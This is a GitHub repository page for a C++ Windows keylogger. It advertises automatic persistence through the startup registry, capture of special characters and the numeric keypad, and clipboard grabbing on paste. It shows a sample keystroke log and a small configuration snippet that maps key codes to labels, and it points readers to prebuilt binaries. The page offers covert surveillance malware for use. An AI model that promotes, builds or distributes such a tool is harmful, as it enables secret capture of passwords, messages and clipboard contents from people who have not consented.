Skip to content

A powerful keylogger that supports locales, clipboard parsing, and the startup registry.

License

Notifications You must be signed in to change notification settings

mattl202/Keylogger

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

About

A simple yet powerful C++ Windows keylogger.

  • Automically added to startup registry
  • Keyboard locale support
  • Special characters and numeric keypad
  • Clipboard parsing on Ctrl + V

Log example

testing 123 123[CTRL + A][BACKSPACE]

[CTRL + C]This was copy pasted.This was copy pasted.This was copy pasted.

1234567890
!@#$%^&*()

é â ê î ô û ë ï ü

Configuration

You may configure the name of the logging file aswell as what should be logged for each virtual-key code by changing the configuration.h file.

constexpr const wchar_t* out_file = L"different_name.txt";

const std::unordered_map<DWORD, std::wstring> key_codes
    {
        { VK_UP, L"[UP ARROW]" },
        { VK_DOWN, L"[DOWN ARROW]" },
        { VK_RETURN, L"\n" },
        { VK_ESCAPE, L"[ESCAPE]" },
        { VK_BACK, L"[BACKSPACE]" }
    };

Compiling

Visual Studio 2017 is required to load the solution. However, the project may be compiled by any C++ 11 compiler. The required Windows libraries are User32.lib and Advapi32.lib. If you do not wish to build the project yourself, you may use the prebuilt binaries available here: https://github.com/vim2meta/Keylogger/releases.

About

A powerful keylogger that supports locales, clipboard parsing, and the startup registry.

Resources

License

Stars

Watchers

Forks

Packages

No packages published

Languages